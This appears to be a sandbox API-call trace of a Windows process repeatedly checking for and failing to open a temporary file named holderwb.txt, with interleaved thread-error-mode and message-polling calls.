	[0098.813] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.813] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.813] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.814] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.814] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.814] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.814] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.814] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.814] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.814] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.815] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.815] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.815] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.815] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.815] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.815] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.816] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.816] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.816] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.816] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.816] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.816] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.817] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.817] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.817] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.817] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.818] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.818] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.818] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.818] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.819] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.819] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.819] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.819] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.819] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.819] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.820] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.820] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.820] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.820] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.820] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.820] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.820] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.821] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.821] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.821] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.821] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.821] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.821] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.822] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.822] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.822] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.822] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.822] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.823] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.823] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.823] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.823] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.823] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.824] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.824] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.824] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.824] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.825] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.825] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.825] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.825] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
	[0098.825] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), fInfoLevelId=0x0, lpFileInformation=0x6b5e9fc | out: lpFileInformation=0x6b5e9fc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0098.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5e97c) returned 1
	[0098.825] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e44c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.825] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e940) returned 1
	[0098.825] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holderwb.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0098.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6b5d778) returned 1
	[0098.826] GetCurrentActCtx (in: lphActCtx=0x6b5e9f8 | out: lphActCtx=0x6b5e9f8*=0x6dbd24) returned 1
	[0098.826] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6b5e9a8 | out: lplpMessageFilter=0x6b5e9a8*=0x0) returned 0x0
	[0098.826] PeekMessageW (in: lpMsg=0x6b5e97c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6b5e97c) returned 0
	[0098.826] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", nBufferLength=0x105, lpBuffer=0x6b5e520, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holderwb.txt", lpFilePart=0x0) returned 0x31
	[0098.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6b5e980) returned 1
